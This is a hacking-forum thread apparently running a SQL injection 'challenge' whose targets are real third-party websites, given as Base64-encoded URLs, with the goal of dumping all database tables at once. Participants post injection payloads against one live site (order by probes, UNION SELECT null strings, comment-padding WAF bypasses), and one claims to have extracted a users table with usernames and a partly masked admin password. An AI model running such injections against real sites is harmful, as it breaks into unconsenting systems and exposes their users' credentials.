[JaNuS18]

Spoiler (Click to View)MensaSQLi circle, session 2(3)

Every injector usually wants to dump interesting data from some table. But why not dump data from all columns from all tables (or many of them) at once? Here is a challenge where you can exercise such ultimate DIOS (Dump In One Shot).


~ Tasks ~
- display data from all columns of different tables in primary database (in one shot). As single table can have few thousands records and such picture with few thousands records can't be proof of data from all columns from different tables, display ONLY 3 RECORDS from each table in your proof picture.
- each table should be numbered, with displayed statistics about: records count, columns count, it's column names
- three numbered records in each table should be displayed. Use some divider between columns data (as I used : )


~ Target ~
aHR0cDovL3d3dy5jZWxsdWxhci1zb2x1dGlvbnMuY28udWsvY2FzZXN0dWRpZXMucGhwP2lkPTE0Mw==
(Base64 decode it using online decoder like https://www.base64decode.org/)


~ Proof ~
[img]http://img15.hostingpics.net/pics/466284challenge20final.jpg[/img]

Edit:
Site is not vulnerable any more. Use new site below.
aHR0cDovL3d3dy5mb3JndW4ucnUvaW5mb3JtYXRpb24ucGhwP2luZm9faWQ9OQ==

New proof picture (no direct link with HTML IMG tags as picture is big - 983 x 49903)
https://phify.com/img/WbNNzrlfiTC.jpg

~ Rules ~
- use DIOS
- your syntax should be generic and work without knowing anything about tables/columns from that database
- don't ask for hints or solution

Post your syntax to https://privnote.com (it is automatically destroyed after reading) and send me link to PM

Let SQL knowledge be with you 👍


~ Solvers ~
- makman 👍

Try also my other challenges for advanced injectors: 🎉
janus #1
janus #2
janus #3
janus #4
janus #5
janus #6
janus #7
janus #8
janus #9
janus #10
janus #11
janus #12
janus #13
janus #14
janus #15
janus #16
janus #17
janus #18
janus #19

[Skidy]

http://site.co.uk/casestudies.php?id=143%27+order+by+2

I don't understand, on some websites using the order+by+ until I can find all the tables works, but its giving an error 100% of the time.

[Ruse Reborn]

i.imgur.com/zrTSYLP.png

something different :D

[krankenstein]

17 columns found, but i have tried all the method

finding in source code
+and+false+
+and+0+
+and+true
+div+0+
+div+false+
+div+true+
+and+1=0+
+and+1=2+
=143/0
=14.3
=143/False
=.143
=143333333333
changing parametre with "NULL''/"True"
changing COLUMN number 1111,2222,3333,4444,5555,6666,7777,8888,9999..............
http://www.cellular-solutions.co.uk/case...hp?id=-143 +union select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--+-
http://www.cellular-solutions.co.uk/case...(16),(17))
http://www.cellular-solutions.co.uk/case...15,~16,~17–+
BOF(buffer over flow)
=-143 UnIon%23BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
0BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0ASeLect

but where is the F$%king vulnerable column,u can shoot me
😭😭😭😭

[JaNuS18]

krankenstein

this is a challenge!!! Why are you posting code? You want to ruin the challenge? 😧

Please be fair and keep your observation for yourself. Thanks. 👍

[krankenstein]

krankenstein

this is a challenge!!! Why are you posting code? You want to ruin the challenge? 😧

sorry brother, i have wasted 3hours for watching vulnerable column.
i am expressing my failure, ok go ahead,but i quit,hope one day u/others will expose it😅😅
make/send some waf tricks&their behaviors to me/hackforum 😝😝 with copyright protection 👍 👍

[0x00FF]

Hi ,

i don't have permission to send private message , (new member)

ps : i use makman DIOS

this is the P0c :

img11.hostingpics.net/pics/392441Capture.png

thank you.

[JaNuS18]

Hi ,

i don't have permission to send private message , (new member)

ps : i use makman DIOS

this is the P0c :

img11.hostingpics.net/pics/392441Capture.png

thank you.

Please read the tasks again. You must display data from those columns too... (3 records per table)

[0x00FF]

Please read the tasks again. You must display data from those columns too... (3 records per table)

i will try 👍

[HAAQ]

cellular.*_users:id
cellular.*_users:username
cellular.*_users:password

i'm DONE :D

[JaNuS18]

cellular.*_users:id
cellular.*_users:username
cellular.*_users:password

i'm DONE :D

How is your post relevant for this topic (challenge)? 😧 😅

Report about your private injection post in your thread please.

Thanks 🤝

[0x00FF]

Hi ,
the task pure sql?

[blingbling]

Hi ,
the task pure sql?

I have the same question. Is this pure SQL or can we include some javascript in query results?

[HAAQ]

How is your post relevant for this topic (challenge)? 😧 😅

Report about your private injection post in your thread please.

Thanks 🤝

you had request alot broo for the challenge :( 🤮

i care about my self and my capability :D

check this to make sure that i am right :D > 4:admin:***1982hu**** 🤭

[krankenstein]

Thatz all i got 😵😵